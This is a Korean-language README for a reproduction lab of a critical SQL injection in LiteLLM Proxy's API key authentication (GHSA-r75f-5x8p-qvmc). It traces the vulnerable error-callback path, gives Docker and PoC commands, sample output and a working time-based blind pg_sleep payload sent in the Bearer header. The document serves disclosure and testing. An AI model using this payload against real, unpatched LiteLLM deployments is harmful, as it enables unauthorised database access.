
LiteLLM Proxy의 API 키 인증에서 발생하는 심각한 SQL 인젝션에 대한 재현 환경으로, 시간 기반 블라인드 PoC와 테스트용 Docker 설정을 포함합니다.
| 항목 | 세부 내용 |
|---|
| 권고 | GHSA-r75f-5x8p-qvmc |
| 유형 | SQL 인젝션 (CWE-89) |
| 심각도 | 치명적(Critical) |
| 영향 범위 | litellm >=1.81.16, <1.83.7 |
| 수정 버전 | litellm >=1.83.7 (커밋 4dc416ee74) |
인젝션은 메인 인증 흐름이 아닌 오류 처리 콜백 경로에서 발생합니다. sk- 접두사가 없는 토큰이 전송되면 assertion이 실패하고, 원본(해시되지 않은) 토큰이 실패 콜백 체인을 통해 f-string 보간을 사용하는 SQL 쿼리로 전달됩니다:
HTTP 요청: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") 실패
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← 인젝션 발생
메인 sk- 인증 경로는 악용할 수 없습니다. 토큰이 쿼리에 도달하기 전에 SHA256으로 해시되어 [0-9a-f] 문자만 생성되기 때문입니다.
docker compose up -d
이 명령은 PostgreSQL 백엔드와 함께 LiteLLM Proxy (v1.83.3-stable)를 시작합니다.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] 대상 확인: http://localhost:4000
[+] 대상 활성 상태 (status 200)
[*] 기준 시간 측정 (3회 요청)...
기준 평균: 0.022s
[*] 대조군: pg_sleep 없는 비-sk- 토큰...
대조군: 0.024s
=======================================================
시간 기반 블라인드 SQL 인젝션 (pg_sleep=5s)
=======================================================
페이로드: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
응답 시간: 5.018s
[+] 취약함! pg_sleep(5) 확인됨


PostgreSQL의 pg_sleep()는 void를 반환하므로 부울 컨텍스트(OR)에 직접 사용할 수 없습니다. 페이로드는 서브쿼리로 감싸서 타입 오류를 방지합니다:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
이 페이로드는 litellm/proxy/utils.py의 combined_view 쿼리에 주입됩니다:
# 취약한 코드 (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← 사용자 입력의 f-string 보간
"""